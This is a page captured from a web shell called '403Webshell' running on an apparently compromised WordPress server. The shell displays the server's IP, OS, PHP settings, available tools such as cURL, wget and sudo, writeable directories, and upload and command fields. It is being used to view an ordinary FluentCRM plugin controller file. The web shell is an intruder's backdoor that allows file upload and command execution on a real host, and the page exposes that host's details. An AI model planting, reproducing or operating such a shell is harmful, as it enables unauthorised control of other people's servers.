403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluent-crm/app/Http/Controllers/Controller.php
<?php

namespace FluentCrm\App\Http\Controllers;

use FluentCrm\App\App;
use FluentCrm\Framework\Validator\ValidationException;
use FluentCrm\Framework\Validator\Validator;

/**
 *  abstract REST API Controller Class
 *
 *  REST API Handler
 *
 * @package FluentCrm\App\Http
 *
 * @version 1.0.0
 */
abstract class Controller
{
    /**
     * @var \FluentCrm\App\App
     */
    protected $app = null;

    /**
     * @var \FluentCrm\Framework\Http\Request\Request
     */
    protected $request = null;

    /**
     * @var \FluentCrm\Framework\Http\Response\Response
     */
    protected $response = null;

    public function __construct()
    {
        $this->app = App::getInstance();
        $this->request = $this->app['request'];
        $this->response = $this->app['response'];
    }

    public function validate($data, $rules, $messages = [])
    {
        $validator = new Validator($data, $rules, $messages);

        if ($validator->validate()->fails()) {
            // Sanitize validation error messages before returning them
            $errors = $validator->errors();
            if (is_array($errors)) {
                array_walk_recursive($errors, function (&$value) {
                    if (is_string($value)) {
                        $value = sanitize_text_field($value);
                    }
                });
            }

            // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Sanitization is already done above
            throw new ValidationException(
                esc_html__('Unprocessable Entity!', 'fluent-crm'),
                422,
                null,
                $errors
            );
        }

        return $data;
    }

    public function send($data = null, $code = 200)
    {
        return $this->response->send($data, $code);
    }

    public function sendSuccess($data = null, $code = 200)
    {
        return $this->response->sendSuccess($data, $code);
    }

    public function sendError($data = null, $code = 422)
    {
        return $this->response->sendError($data, $code);
    }

    public function validationErrors($data = null, $code = 422)
    {
        if ($data instanceof ValidationException) {
            $data = $data->errors();
        }

        // Sanitize error payload before sending the response to prevent unescaped output
        if (is_array($data)) {
            array_walk_recursive($data, function (&$value) {
                if (is_string($value)) {
                    $value = sanitize_text_field($value);
                }
            });
        } elseif (is_string($data)) {
            $data = sanitize_text_field($data);
        }

        return $this->sendError($data, $code);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit